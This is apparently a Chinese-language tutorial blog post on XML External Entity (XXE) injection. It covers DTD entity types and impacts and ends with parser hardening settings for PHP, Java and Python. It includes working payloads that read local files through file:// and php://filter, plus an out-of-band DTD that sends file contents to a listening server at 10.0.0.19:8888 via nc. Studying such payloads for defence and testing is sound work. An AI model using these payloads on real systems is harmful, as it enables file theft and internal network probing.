原理

XML外部实体注入

XML介绍   
XML指可扩展标记语言(EXtensible Markup Language)。
XML的设计宗旨是传输数据,而不是显示数据。
XML是W3C的推荐标准。
XML不会做任何事情。XML被设计用来结构化、存储以及传输信息。
XML语言没有预定义的标签。

XXE就是XML外部实体注入 simplexmd_load_string有这个函数/xml=<!ent>大概率存在xxe漏洞
XML预定义五个实体引用,即用&lt;&gt;&amp;&apos,&quot;替换<>&'"。

DTD
分为以下五种 字符实体,命名实体,外部实体,参数实体,内部实体
内部实体


外部实体
引入外部的dtd文件

外部定义需加上system关键字 内部没有 实体指代字符串

有回显 payload(若是读取文件存在特殊字符,可用php://filter/read=convert.base64-encode/resource=路径 代替file:///...)=>base64读取
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///读取文件路径"> ]>
<creds>&goodies;</creds>


无回显payload 真实环境http应该为公网地址下的xxe_file.dtd所在文件目录
通过外带通道提取数据,先获取目标文件的内容,然后将内容以http请求发送到数据接收的服务器上。

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=文件路径">
<!ENTITY % dtd SYSTEM "http://www.localhost.com/xxe_file.dtd">
%dtd;
%send;
]>

xxe_file.dtd 文件内容 =>地址为接收服务器地址 服务器操作 nc -lvp 端口号
<!ENTITY % all
      "<!ENTITY &#x25; send SYSTEM 'http://10.0.0.19:8888/?%file;'>"
      >
      %all;

危害

1.读取任意文件
2.执行系统命令 需要expect扩展
3.探测内网端口
4.攻击内网网站

防御

PHP:
libxml_disable_entity_loader(true); 是否关闭xml实体加载

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:
from lxml import etree
xmlData etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注